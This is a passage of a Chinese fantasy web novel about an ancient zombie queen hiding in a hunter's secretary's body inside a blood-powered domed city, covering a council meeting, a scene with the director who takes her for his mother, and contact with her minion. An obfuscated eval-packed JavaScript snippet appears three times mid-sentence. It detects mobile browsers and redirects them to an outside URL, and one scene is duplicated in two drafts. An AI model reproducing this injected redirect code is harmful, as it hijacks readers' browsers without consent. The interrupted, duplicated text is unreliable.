“舒厌,”仇怜央跳过杜凡语无伦次的回复,锐利的目光朝舒厌锁定过去,“猎尸队常年与僵尸一线交锋,署内地牢里关押的绝大部分高等僵尸也都是你的战利品,以你的经验,青魇具备直接侵入「归零」的能力吗?” 会议桌两侧十几位高层同时将目光投向舒厌。 这是蚩蓠第一次在明亮的光线下,清晰地看到舒厌完整的相貌。 他的五官轮廓与千年记忆中的宿敌有八.九分相似,但气质却截然不同。曾经的阴郁冷酷被一种时刻挂在脸上的微笑所取代,只是那笑容底下,淬着毫不掩饰的危险。 “算上青魇的分.身,我们猎尸队一共与他发生过十一次正面交锋。”舒厌语调平稳,甚至带着一丝轻松。 他调出全息作战简报,继续道:“无论是青魇的本体还是分.身,都倾向于单兵作战,战斗风格偏传统,对现代高科技武器的运用并不娴熟,到目前为止,猎尸队暂时没有收集到与青魇有关的黑客信息。” 屏幕上快速闪动着历次战斗的数据分析、武器损耗报告和战术复盘动态图。所有数据都清晰表明,每一次冲突,猎尸队方面都以较小的代价取得了胜利。 “他要么找错了目标,要么抢走了我们预设的假目标,要么干脆扑空,每一次都看似狼狈败走。” 话虽如此,舒厌却收敛起语气中的戏谑:“但是,我们不得不承认,他每次逃跑的方式都相当精彩。” 会议室里响起几声意味不明的低笑。 蚩蓠作为舒厌的生活秘书兼事件亲历者,也被允许列席,她听得出来,那些笑声中隐约透露着舒厌这是在给自己的无能找补的意思。 “这次的情况有些复杂,”舒厌话锋一转,无视那些噪音,“青魇的本体是在其分.身出事后,才锁定尸祖藏匿地点的,在此之前,地下核心工厂的监控系统已经出现故障,这才让他的分.身有机可乘,此外,他既然想要悄无声息地夺走尸祖的躯体,又何必要大张旗鼓地炸掉导管装置?所以我怀疑有第三方……” “舒队长。”一个冰冷的女声毫不客气地打断了他,她的座位紧挨着仇怜央,桌上全息立牌写着:署长办公室主任喻风。 喻风声音不高,却句句紧逼,直中要害:“您的分析似乎避重就轻了。监控故障发生于二十四小时前,但尸祖抢夺发生在今天。 “这里头就或许的确有第三方搅局,就算黑掉「归零」、炸掉导管装置是第三方所为,但这些都不是尸祖被夺走的决定性因素。 “真正让青魇得手的,是他能突破天网防御系统的能力,‘尸身化蝠’这个异能在以往的报告中从未提及,是您的队伍疏于侦查,还是您有意忽略了这一重大威胁的升级? 与会者不断点头称是,座位在长桌两端靠后的几个人,干脆用所有人都能听见的音量毫不吝惜地夸赞。 “不愧是喻主任!” “逻辑就是严密!” “大内主管就是大内主管!” 杜凡终于有机会找补,也趁机踩上舒厌两脚:“就是嘛,想要夺走尸祖的人多如牛毛,有个第三方第四方也不奇怪,重点又不是谁想来抢,现在真正要紧的,难道不是青魇他本人当着咱们舒大队长的面把尸祖给抢走了嘛?!” 舒厌似乎早就对把锅扣他一人头上有心理准备,他轻笑一声,居然把焦点引向了蚩蓠。 “喻主任的问题很深刻。不过,现场并非只有我一人,我的助理寒黎也全程目睹了全过程。或许我们可以听听她的看法?关于‘尸身化蝠’是否堪称此次行动失败最关键的一环?” 他侧过身,目光看似鼓励,实则将蚩蓠彻底推到了聚光灯下,仿佛在说“解释一下?” 蚩蓠猝不及防被点名,脸上职业化的笑容几乎僵硬。 这家伙果然在这里埋着雷! 合着第三方就是说她呢。 蚩蓠斩钉截铁地开口,声音清晰透亮:“当然不是最关键的一环。” 她本不欲多言,仇怜央也在此刻缓缓起身,双手撑在桌面上,以不容置疑的口吻定了调:“青魇的异能未能调查清楚,属于猎尸队的失误,但哪个高阶僵尸没有独门异能?! “在绝对的火力优势和系统防御面前,他本不该如此轻易得手。外勤部的装备从未短缺,真正的漏洞在于我们过度依赖,未能及时发现「归零」被外部力量渗透,这是系统性风险!” 他目光扫过全场,神色凝重:“诸位,此事关乎不夜穹隆的能源命脉。若不能及时追回尸祖,全城将面临前所未有的能源危机,接下来我要宣布的消息为绝密,任何人泄密,以叛国罪论处。” 他停顿片刻,无声的沉默压在每个与会者心头。 “我已与总统府达成共识。不夜穹隆的血晶储备,仅能维持三个月正常运转,为应对最坏情况,能源控制署必须承担起责任,即刻起,大幅提升对城内游离僵尸的清剿力度,以数量弥补质量缺口,最大限度维持血晶产量!” 仇怜央的目光最终落回舒厌身上:“舒厌,你多年辛劳,功绩有目共睹。此次事件,系统部责任更大,但猎尸队亦难辞其咎。我也没有责罚你的意思,只不过看你这几年工作辛苦,让你休息一段时间而已,从今天开始,你先卸任猎尸队队长 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……她夺舍的这具身体的原主寒黎,明恋舒厌也就算了,可实在是做法不甚得体,方法不得要领。 蚩蓠强忍扶额的冲动,赶在最后一人离开会议室的间隙,飞快回复:「长官,我搞错了,当时是蝙蝠在闹,您也看到血棺里有蝙蝠飞出来了。」 必须攻下器大活好绝世美男:「你最好待会儿也跟署长这么说。对了,友情提示一句,署长爱恋你很久了,别露馅。」 ??? 寒黎乍一看给人不可一世的印象,但这样的人往往在上位者面前姿态格外低,再加上她的身份是舒厌的生活秘书,这个岗位跟助理不一样。 生活秘书有时候更像全能保姆,按道理,即便她真的出现在现场且观摩了尸祖被夺的全过程,作为署长这样的高位,也不至于亲自问询她。 就像当年青魇还是她左膀右臂的时候,蚩蓠也不会越过青魇找他底下的小厮做事。 所以蚩蓠之前就怀疑,原主寒黎的身份并不简单,搞不好这也是舒厌没有揭穿她的理由。 现在好,舒厌直接不装了,甚至告诉她,署长喜欢原主寒黎很久了。 最后一人关上会议室的大门,仇怜央终于一扫方才满脸阴霾,他宠溺的脸上写着志在必得,那是经常赢的人才会出现的表情,显然在联邦混得如鱼得水,又或者,在情场也如日中天。 蚩蓠没说话,她掌心发汗,这简直比直接跟仇怜央打一架还恐怖。 椅子拖动的声音响起,仇怜央径直朝她走来,步子也越迈越快,蚩蓠已经做好了被毒蛇舔一口的准备。 果然,仇怜央一把搂住她,安抚道:“早说叫你不要去干那么危险的活,你偏不信,幸亏这次没事。” “署长……你……”蚩蓠僵硬地推开仇怜央。 “好了好了,妈,您别生气了,现在就我俩,怎么还管我叫我署长了?这段时间您就跟着舒厌好好休息,想干什么我都不会拦着的,毕竟您这个年纪,正是谈恋爱最好的时期。” 什么?! 蚩蓠的脑壳简直如破了瓤的西瓜,他管我叫什么?! 7.认贼子 蚩蓠的思维几乎停滞。 署长?仇怜央?爱恋寒黎?! 一个生活秘书,按道理,即便她真的出现在现场并观摩了尸祖被夺的全过程,作为署长这样的高位,也不至于亲自问询她。 就像当年青魇还是她左膀右臂的时候,蚩蓠也不会越过青魇找他底下的小厮做事。 退一万步,就算仇怜央真的喜欢寒黎,想潜规则她,也没必要大庭广众之下直接要求她留下来吧?脸都不要了嘛!这绝对不合常理! 不过,原主寒黎的身份肯定不简单,舒厌的按兵不动,可能也与此有关。 没等蚩蓠理清头绪,最后一人关上大门,会议室已彻底安静下来。 仇怜央终于一扫方才满脸凝重,取而代之的是一种近乎宠溺的笑容,他脸上写着志在必得,那是经常赢的人才会出现的表情,显然在联邦混得如鱼得水,又或者,在情场也如日中天。 蚩蓠没说话,她掌心发汗,这简直比直接跟仇怜央打一架还恐怖。 椅子拖动的声音响起,仇怜央站起身,径直朝她走来,步子也越迈越快。 蚩蓠下意识后退半步,几乎要摆出防御姿态。 然而,仇怜央却在她面前站定,出乎意料地张开双臂,一把将她搂进怀里,用带着担忧和嗔怪的语气安抚道:“早叫你不要去干那么危险的活,你偏不信,这次幸好没事,要是伤着了我可怎么办?” “署、署长?您……”蚩蓠僵硬地杵在他怀里,大脑飞速运转却一片混乱,只能勉强用手抵住对方胸膛,试图拉开一点距离。 “好了好了,妈,现在就我俩,怎么还管我叫我署长了?” 他松开她,仔细端详着她的脸,语气变得异常温和:“别生气了,这段时间您就跟着舒厌去外环待着,就当散散心,想做什么我都不会拦着您,上次跟您吵架之后,我都想通了,您这个年纪,正是享受生活、谈谈恋爱最好的时期,我不该拦着您,是儿子不对。” 什?!么?! 蚩蓠的脑壳简直如破了瓤的西瓜,他管我叫什么?! 也许是蚩蓠游离的状态让仇怜央误以为她仍在生气,他语气愈发柔软真诚。 “妈,有些话我还是得说,您谈恋爱我不反对,可是您想要什么男人得不到?我真不明白,舒厌这种油盐不进的小白脸怎么就勾了您的魂?您非要倒贴,我也顺了您的意,特意安排个‘生活秘书’的名头,好让您有充分的时间和理由接近他。” “现在都两年了,他就算是块寒冰也该被您捂化了,怎么还这么宝贝他呢?”他小心翼翼,措辞激烈,但语气却比之前更低沉温和,“他这次犯得可不是小错,您知道事情有多严重吗?别看我刚才在会上轻描淡写,实际上总统先生在加密通讯里差点没把我电熟煮吃了。” 蚩蓠依旧梳着利落的高马尾,身上还是那件沾满尸毒与焦痕的制服,光看背影,完全就是个刚从一线撤下来的苦逼外勤。 可她面上却泛出与外形极不相称近乎圣洁的母爱光辉。 她伸出手,动作轻柔地抚弄着仇怜央梳得一丝不苟的油亮背头,像安抚一个受尽委屈的婴孩,耐心地从后脑勺梳到前额,一遍,又一遍。 “好了,妈不生气了,妈知道乖儿子不容易。” 她嗓音放得极软,心里却在冷嗤,这署长哭起鼻子来,比鼻涕虫还恶心。 “你给妈仔细说说,事情到底怎么个严重法?” 仇怜央感动得几乎真的要掉下泪来,他恨不得当场缩回母亲的怀抱,抹了把并不存在的湿润眼角: “您终于体会到儿子这么多年的心酸了!我的强悍、高智、滴水不漏,那都是装给外人看的!其实我内心……永远住着那个需要您呵护的半大少年啊。” “嗯嗯。” 蚩蓠面上点头附和,心底却警铃大作,这戏再演下去,她怕自己先忍不住一手拧断这“乖儿子”的脖子。 “在妈妈心里,你永远都是孩子,妈妈怎么会一直生孩子的气。” 闻言,仇怜央的语气终于肆无忌惮地拔高起来:“妈!您是不知道总统先生怎么说的!他说能源控制署要是一个月内找不回尸祖,就要把我大、卸、八、块!!!还要把我的意识体抽出来,关进赛博囚牢折磨一万年!呜……我爬到这个位置付出了多少,您最清楚,现在眼看就要一无所有了!妈,要不是看在您的面子上,我第一个就把舒厌也给卸了!” 蚩蓠本以为他多少会担忧不夜穹隆的命运,还有那些依赖血晶苟活的平民,毕竟能源危机关乎全城存亡。 结果这位署长哭嚎半天,字字句句不离他的官位和安危。 “妈知道你受委屈了。”蚩蓠压下翻白眼的冲动,敷衍地拍拍仇怜央的肩膀,脑子转得飞快。 舒厌那混蛋说什么“署长爱恋寒黎很久了”,险些把她带进沟里,此“爱恋”非彼“爱恋”,搞了半天是变态母子情。 不过,这样一来,蚩蓠反而厘清了不少困惑。 从仇怜央的年纪推断,他母亲寒黎少说也七老八十了,可蚩蓠夺舍的这具身体,年轻,矫健,肌肉线条漂亮得如同精心雕琢。 若没有使用强效青春.药剂,那更可能的是寒黎采用了富人圈层里秘而不宣的意识转移技术,在原本的躯壳年老色衰后,将意识塞进了这具年轻的女体中。 若是前者,无非是金钱的力量,可若是后者……那本质就与夺舍无异。 寒黎的原生意识,真的就被她蚩蓠彻底吞噬干净了吗?会不会在某种危急关头,那女人的意识早已悄然转移去了别的备用容器? 若真如此,她现在的处境简直是在刀尖蹦迪。 一旦仇怜央后知后觉发现自己抱着喊妈的竟是个千年老僵尸,天知道这个志得意满的上位者会用什么手段弄死她。 不过她也多少明白了舒厌为何隐而不发,被顶头上司那位八十老母天天骚话连篇地倒追,甚至不惜屈尊生活秘书的身份无死角当挂件,是个人都想干掉对方吧。 舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226594|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌恐怕乐得看她顶着寒黎的壳子折腾。 至于寒黎为什么确信舒厌“器大”……从他俩零星的聊天记录中能窥见一二。 这女人居然时不时利用权限偷窥舒厌洗澡,而舒厌居然前几天才察觉,气得血气上涌,告到仇怜央这边以辞职相逼,才暂时换来了对寒黎战术装备的上级管理权限,勉强保住清白。 而“活好”?那大概率是寒黎对舒厌单方面的主观臆想和强烈渴望,毕竟她曾信誓旦旦扬言要拿下对方“一血”。 蚩蓠无语,她跟寒黎的想法完全相反,舒厌绝对是个性.冷.淡,搞不好根本不举,不,是肯定不举!看他那张故作姿态的臭脾气就知道了。 想到自己竟夺舍了这么个奇葩,蚩蓠一阵恶寒,身子忍不住嫌恶地抖了抖。 “妈,您着凉了?”仇怜央瞪大了他水汪汪的老眼,体贴地脱下外套就要给蚩蓠披上。 “倒不是,”蚩蓠稳住心神,就势接话,语气却刻意冷了几分,“只是听你说要把舒厌大卸八块?这可不行。” 她嗓音里满是猥琐的玩味意味,舌头还煞有介事地舔了圈嘴角:“就算动手,那也得是妈亲自上,把他生吞活剥吞拆入腹才够味。” 仇怜央哭笑不得:“您还没放弃啊?这都两年了……诶,妈不是我说您,有时候还是得节制一下的,您要是真想放松,我立马给您安排最顶级的仿生男模,各种型号各种尺寸应有尽有。但偷看别人洗澡这种事……咳,还是少干为妙,传出去影响不好,您儿子脸上也挂不住呀。” 即便以蚩蓠千年修炼的城墙皮,耳根也发烫起来,顶着这么个外壳被“儿子”当面揭露猥琐行径,体验简直称得上惊悚。 要想维持住寒黎的人设不被发现,挑战可不是一般的大,还不如面对面厮杀呢。 “怎么还管到妈头上了,有需求我会自己解决,这点就不用你费心了。”蚩蓠摆摆手,一副长辈听不进劝的架势。 这天实在不能聊下去了,她想赶紧走人,便问:“还有什么要紧的事情吗?没有妈先回去了。” “妈,您就不想陪儿子多说说话吗?”仇怜央露出些许真实的失望,“唉,行吧,我确实找您有事,只是这些话不方便用智脑沟通,尤其「归零」被攻击之后,通讯安全性恐怕得重新评估。” 他压低声音:“我只是明面上给舒厌撤了职,总统还是信赖这家伙的,另外给他安排了重要的机密任务,可我总觉得不放心。 “尸祖被抢,疑点太多了,越是这种实力强悍的下属,越是得经得住忠诚的考验。我思来想去,还是您最合适,最可靠,我想看看这家伙到底有没有二心?妈,帮儿子这点小忙……应该没问题吧?” “当然。”蚩蓠语气笃定,心中却冷笑:正合我意。 她反客为主,顺势坐回仇怜央那张宽敞奢华的署长座椅,学着他先前的样子,用食指和中指有节奏地敲击着桌面。 “在亲儿子和野男人面前,你妈妈我,还是分得了轻重的。” 8.蚊子血 离开能源控制署,蚩蓠并没有立刻回到舒厌的住处,而是选择在路上更好地观察这座城市。 城市上空笼罩着巨大的透明穹顶,表面覆着抗酸雨腐蚀的暗红涂层,将整座城笼罩在沉闷压抑的色调里。 仰头望去,穹顶之外隐约有巨大的暗影游弋,时不时撞上防护层,看不清具体是什么东西。 不夜穹隆号称人类文明最后的堡垒,但实际上很多年都没有人真正离开过这里,那些因为多次拒绝献血而被迫放逐酸雨荒野区域的人,至今也没有回来过。 也就是说这座城市的人,某种程度上早已与世隔绝,对外界一无所知。 就像一座巨大而精致的棺材。 对依赖科技抵御酸雨,久不见真正阳光的人类而言,这里压抑得令人窒息。但对天生畏光,渴望阴暗的僵尸来说,却不啻于完美的巢穴。 意识到自己竟觉得这地方“不错”,蚩蓠不免自嘲。 就算意识体从棺材里苏醒,也不过只是从一具小棺材,关到了一具更大更舒适的棺材里罢了。 路上行人稀稀拉拉,多数脸色苍白,脚步虚浮,显然是长期被强制献血的后果。 即使有穹顶遮蔽,微量酸雨还是会透过防护层的缝隙或转换口渗漏进来,路人或多或少还是会撑起特制的透明小伞。 尤其那些经过大量机械化改造的人,他们的金属义体和电子元件容易受酸雨腐蚀,长期处在潮湿的环境中,义体接口处甚至能长出颜色诡异的蘑菇和苔藓。 一个装有机械臂的男人抬起手,扯掉胳肢窝机械关节缝隙中藏起来的几朵小蘑菇,随手就放到嘴里“吧唧”起来,他看到蚩蓠在看他,不仅不尴尬,反而兴奋得吹起了口哨。 “嗨!美女!要尝尝吗?新鲜特供,腌入味儿了的!”男人说着又毫不在意地从同一个地方扯了几把小蘑菇,热情地朝蚩蓠扬手。 蚩蓠尸毒汇聚掌心,被她硬生生止住了。 寒黎这身装备精良,过度使用尸毒易暴露。 她忍下不快,摸索腰间,触到一把小型手.枪和一条松垮挂在胯侧的电鞭。 这叫「噬尸电鞭」,猎尸队的标配武器之一,舒厌几个小时前才在地下核心工厂用它驱逐过青魇化身的蝙蝠群。 “唰!”她手腕一抖,长鞭窜出,绷得笔直,蓝紫色电光噼啪炸响,辐射的微弱电流已激得那男人浑身一颤,猛地跳开。 “哎哟!开玩笑的,怎么还急眼了?”他怂得极快,手里蘑菇掉了一地,连连后退。 见蚩蓠没说话,只是步步紧逼,他又跳起来后退了几大步,嚷嚷道:“我主动示好,你怎么还生气了!要不是你长得还算过得去,你以为我愿意搭理你这种女人?得得得,我绕道行了吧?凶巴巴的,谁稀罕!” 男人说到最后几个字的时候已经拔腿跑了好几米,蚩蓠本不想费这种无聊的心思继续追他,吓唬吓唬了事得了。 而且路人已经围成一圈在看热闹,她也不想刚夺舍就干出太过惹眼的事。 谁知男人跑了没多久,却哇哇大叫着被一群乌泱泱的蜜蜂追了回来。 周围看客本来还想嘲笑他来着,结果看清那并不是蜜蜂,而是每只都有指节大小的血红巨蚊时,全都脸色惨变,四散奔逃。 “是吸血蚊!快跑!” “能源署的人死哪儿去了?只管抓僵尸不管这玩意儿吗?” “谁管你被吸干啊!他们只在乎血晶能不能按时生产!” 蚊群嗡嗡作响,复眼泛着嗜血的红光,穷追不舍,那男人裸露的皮肤鼓起密密麻麻的红肿脓包,只有机械臂幸免于难,他惨叫连连,模样惨不忍睹。 蚩蓠却不退反进,唇角微不可察地一勾,她甚至伸出手,让一只飞近的巨蚊稳稳落上掌心。 她不动声色引着那蚊子,七拐八绕,疾步穿行,最终闪入一个监控死角的僻静巷弄。 她低头,对着掌心那只蚊子发出嗡鸣: “青魇,是你吗?” “蚩蓠大人!是我。”蚊子细长口器震颤,激动回应,“您终于醒了!如果不是您危急关头强化我分.身化形的能力,青魇恐怕再也没法见到您。请您恕罪,今时不同往日,我被严密监控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233766|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,无法现身找您,只得用这种笨办法了。” “不笨,很聪明,你这分.身化形的异能进化得非常精妙。”蚩蓠真心赞许。 “蚩蓠大人谬赞!自从您被封印后,那些继承您始祖之力诞生的僵尸,都陆续觉醒了独有异能,我这分.身化形的异能就是其中之一,我们进化的异能都源自您的恩赐!” “青魇,你就别谦虚了,我仅仅只是感知并强化你的异能而已。” “蚩蓠大人,我长话短说。您的身体已安全接回隐秘据点,可……可无论如何尝试,都无法拔出您心口那柄桃木断剑!这该如何是好?” 蚩蓠并不意外:“那天舒厌所使用的封印秘术相当阴毒,桃木剑是猎人氏族代代相传的克尸圣物,非常不好对付。我猜,应该得由舒厌或他的后代亲自拔出,才能解除封印。” “据我所知,舒厌将您封印后,不久就离奇被杀了,他没有血亲后代,现在猎尸队里的舒厌,名字虽然一样,恐怕只是当年猎人的远亲。” “是么?死得还挺快。”蚩蓠无不讽刺地冷笑,“行吧,我知道了,解封之事没那么容易,我需要继续用寒黎这具身体潜伏一段时间,另外,你帮我调查一下,寒黎原本的意识体是否还活着,有没有可能转移到别的地方去了?” “遵命。”青魇化身的蚊子嗡鸣声陡然变高。 “以后我们就通过蚊子联络,不过你可以化身再小一点,大蚊子还是有点惹眼。” “好的,我下次——” “啪!” 一声清脆爆响。 舒厌鬼魅般悄无声息地现身,快得只剩残影,抬手精准一拍。 那只与蚩蓠对话的青魇分身蚊,在他掌心化为微不足道的一小滩污血。 蚩蓠完全不及反应,只怔怔看着他行云流水的动作,及掌心那抹刺目的红。 舒厌慢条斯理取出消毒湿巾,仔细擦拭每一根手指,仿佛只是拍死了只普通蚊虫,擦干净后才抬眸看她,挑眉问道,语气自然得像上级关怀下属: “帮你拍死只吵人的蚊子而已,有什么问题吗?” 9.怪我了 “帮你拍死只吵人的蚊子而已,有什么问题吗?” 舒厌那副理所应当的关切表情,仿佛之前一脚将蚩蓠踹进地下工厂的不是他,挖坑说仇怜央爱恋她的也不是他一样。 蚩蓠望着掌心那摊蚊子残骸,太阳穴突突直跳。 幸好,这只是青魇万千分.身中的一个。 她收拾起情绪,扯出一个无懈可击的笑容:“当然没有问题,那就谢谢长官关心啦。” 舒厌:“不用客气。” 蚩蓠实在看不惯他装模作样,事到如今,两人之间就差一层没有捅破的窗户纸,她干脆单刀直入:“所以,长官,请问您是在跟踪我吗?” 舒厌脸不红心不跳,甚至微微倾身,拉近了两人的距离。 “会上你也听到,我被撤职了,反正闲着也是闲着,就在署门口瞎逛悠,看你一出大门就左右张望,眼神……嗯,挺新奇的,不像在这城里住了几十年的人,我担心你在不夜穹隆迷路,只好一路跟着。怎么?怪我了?” 他最后那句“怪我了”,语调拖得又慢又暧昧,如果寒黎本尊还在,恐怕早就心花怒放,要猛虎扑食了。 “哈哈。”蚩蓠心里骂了一句,面上却笑得更加灿烂,她干脆豁出去把身子往前贴近了一大步,手指看似无意地在舒厌胸前战术背心的带子上划了一下。 “怎么敢呢,长官您这么体贴入微,我感动还来不及呢。既然您这么好心,又这么闲的话,不如,送佛送到西,送我回家怎么样?” 说话间,蚩蓠用义眼不动声色地将舒厌扫了个遍。 舒厌机械化程度不算太高,但极其精准,只有手掌、脖颈、头骨和心脏被义体取代,全是针对吸血僵尸的致命点。 她忍不住在脑中飞速模拟与他正面冲突的每一种可能,思考如何拆解这些防御,如何才能真正伤到他。 最关键的,要如何让这家伙乖乖听话,去拔掉她本体心腔深处的桃木剑。 “回家?”舒厌抓住她的话柄,似笑非笑,“寒黎,你在不夜穹隆生活了这么多年,还要我来带你回自己家?你是突然失忆了?还是……这里头换了个人?” 舒厌指了指自己脑袋,他果然一刻不停地在试探。 蚩蓠反应极快,立刻摆出一副委屈又嗔怪的表情,甚至还跺了跺脚:“长官!人家是要去你家啦!作为您的生活秘书,贴身照料您不是应该的嘛,这次就别赶我走啦。” 舒厌噎住,自知掉进了蚩蓠的语言陷阱,那双深极黑极的眼睛盯着她看了两秒,抱臂道:“行,不过下次用义眼扫描我的时候,记得关掉扫描感应光。” 蚩蓠:…… 居然栽倒在这种蠢玩意里头。 但戏还得演,她面不改色,甚至带点谄媚:“好嘞!多谢长官提醒。” 舒厌一副早就看透她的表情,扬起下颚,示意她跟上。 蚩蓠屁颠屁颠地跟在后头,完全一副小跟班模样,彻底把尸祖的架子抛在了脑后,有一搭没一搭地继续问。 “长官,您不是接管了我的战术装备管理权限吗?那……义眼算战术装备吗?就算我关掉感应光,您会不会也能知道我干了什么?” 舒厌脚步不停:“嗯,你用这具身体干任何事情我都知道。” 艹!那你说个毛线。 刚才还看着她演? 蚩蓠快走两步与他并肩,夸张地扑扇着睫毛,开始破罐子破摔:“那既然……我以后干什么您都知道,我岂不是不能偷看您洗澡了?” 如果目光可以切割,此刻的蚩蓠恐怕已经被舒厌削成薄饼了。 “你说呢?” 蚩蓠得寸进尺,用手指敲了敲他结实的胸膛,语气惋惜又猥琐:“哎呀,真可惜~虽然不能看实况直播,但是我有库存呀!您瞧瞧,好几个T呢!长官,您要是哪天兴致来了,想回味一下两年前的青涩模样,随时找我哦,不收钱。” 舒厌的脚步几不可查地顿了一下,蚩蓠几乎能听到他后槽牙摩擦的声音,他从牙缝里挤出三个字。 “不!需!要!” “嘻嘻。好!嘞!” 蚩蓠笑容灿烂,扳回一城的感觉真好。 车门无声滑开,他俩前后脚坐进悬浮车,汽车是全自动驾驶的,连假装忙碌操作的机会都没有。 空间被一种诡异的安静填满,俩人大眼瞪小眼,蚩蓠瞪得眼皮发酸,胜负欲却让她毫不退缩,最后,还是舒厌先败下阵来,以一种“大人不记小人过”的姿态,移开了视线。 蚩蓠赢是赢了,可人却无聊起来。 悬浮车飞得不算高,玻璃窗外是永恒的人造黑夜和绚烂灯光,巨大的穹顶在更高处若隐若现。 蚩蓠调整义眼,切换到望远模式,穹顶内部的钢结构清晰可见,但穹顶之外只有一片混沌的暗影,巨大得不合常理,暗影缓慢地蠕动并撞击着透明的屏障,发出沉闷而规律的震动。 “外面……那是什么?”蚩蓠忍不住问。 舒厌原本在查看膝上的智脑,闻言抬起头,顺着她的目光看了眼窗外。 “一些被挡在外面的东西,怎么,寒黎小姐对穹顶之外产生兴趣了?以前你可从不关心城防的事。” 又来了!每句话都在给她下套。 问他什么东西挡在外面,他说那是挡在外面的东西,解释个寂寞啊。 “以前不看,是因为眼中只有您啊~现在嘛……”蚩蓠拖长了调子,幽怨地说,“反正您也不舍得瞧我,我自讨没趣久了,偶尔也想看看别的风景咯。” 似乎被她强词夺理惹烦了,舒厌懒得再绕圈子,直接点破:“寒黎,你要是真想知道外头是什么的话,可以直接问智脑,嗯?你该不会不懂用吧?难道说,你和青魇一样,都是跟不上时代的老古董?” 蚩蓠才没有那么容易被激怒,她从善如流,举手敬礼,语气夸张:“长官教训的是!我马上就用。” 她低下头,开始认真研究手腕上的智脑,这小东西果然奇妙,意识微动,眼前便展开一片光怪陆离的全息投影界面。 海量信息喷涌而出,各种报告标题几乎占满了一平方米的虚拟空间,其中最醒目的地方写着:《城防部加急简报:穹顶外侧异常能量读数分析报告》。 「是否使用速读功能?」智脑贴心提示。 蚩蓠毫不犹豫点了「是」。 下一秒,纷繁杂乱的信息像一张张卡片,具像化地跳回蚩蓠脑内,视线前方也随之一空。 她不太像被动习得这些内容,更像是什么人把一桶水直接灌进了她脑子里,混乱不清了一小会儿,突然神智清明,继而条理清晰,无所不知起来。 这种体会过于可怕,知识和信息的获取不再需要费时费力,只需要按一个「是」,脑子里就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247977|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经沉淀好几百几千年的答案了。 蚩蓠觉得自己果然是个老古董,有点适应不来,甚至因为信息爆炸恶心想吐。 她忍住不适,咀嚼着智脑强喂给她的答案。 「核心摘要:城防部多次检测到超高强度,未知性质的生物能量信号,于穹顶外壁持续游荡。」 「信号特征:与已知僵尸始祖蚩蓠能量频谱存在高度相似性波动。」 「威胁评估:极高。建议启动一级戒备。未知信号曾于多个监测站留下同一段破损音频,内容如下……」 蚩蓠脸色煞白。 那带着扭曲笑意的女声,伴随着强烈的干扰噪音,在她耳边低吟。 “……姐姐……我闻到你的臭味了……” “……躲了这么久……好玩吗……” “……把这龟壳撬开……记得……好好谢谢我……” 声音断断续续,每一个字都带着刻骨的怨毒和疯狂,与她记忆中那个危险的名字彻底重合。 夜璃! 她也被解封了吗?!而且人就在穹顶之外?! 巨大的惊悸如同冰锥刺穿脊柱,让她背皮发麻。 蚩蓠指甲几乎扎入掌心,她能感觉到属于寒黎的心脏在狂乱地跳动,血液冲刷着耳膜,发出轰鸣。 这种感觉与再次看到舒厌和青魇完全不同,那是真正深入骨髓的恐惧与自责。 她极力控制着面部肌肉,不让一丝一毫的情绪泄露,但苍白的脸色已然暴露所有。 舒厌观察着她的反应,看到她神情变化,才淡淡开口,语气里听不出情绪:“现在知道了?看来还记得怎么调内部文件。” 他没有点破她。 就在这时,“嘟嘟——” 车载系统突然发出急促的通讯请求提示音,一个面容干净却带着浓重黑眼圈,气质忧郁的男人头像投影在车内,下方标注着名字「江恨白」。 他看起来疲惫不堪,像是连续加班了一个月。 “领导,”江恨白声音有气无力,“F-9区发现大量建筑物被血丝缠绕,疑似僵尸暴动,喻主任让我务必请求您即刻前往处理。” 舒厌本想把这次撤职当做休假,结果还没来得及躺尸放松,又要出任务了,他语气冷了几分:“我被撤职了,不用叫我’领导‘,一切听从喻主任指示就好。” 江恨白却像个没有感情不懂绕弯的传话机器,班味极重,重复道:“好的,领导。喻主任说了,‘请求您即刻前往处理’,这就是她的指示。” 话音未落,通讯已经挂断,干脆利落得简直能让人吐槽一句“没礼貌”。 悬浮车系统音随即响起:“指令确认。已为您自动切换目的地至F-9区,最优路径计算完毕,请坐稳扶好,预计十分钟后抵达。” 下一秒,悬浮汽车急速转向,引擎发出低沉轰鸣,然后以常人肉眼几乎无法捕捉的速度,在空中撕开一道伤口,朝着城市外环的混乱街区疾驰而去。 车窗外的景象飞速流变,蚩蓠的心跳再次加速。 要知道,多年以前,夜璃最臭名昭著的行为之一,就是用血丝残忍地戏弄他人。 她曾把一个看不惯的人周身血液抽空,像玩红绒毛线一般,将他体内长达十余公里的血管,缠绕在最醒目的建筑物上。 末了,她总是要问一句:“姐姐,好看吗?” 10.血丝操控① 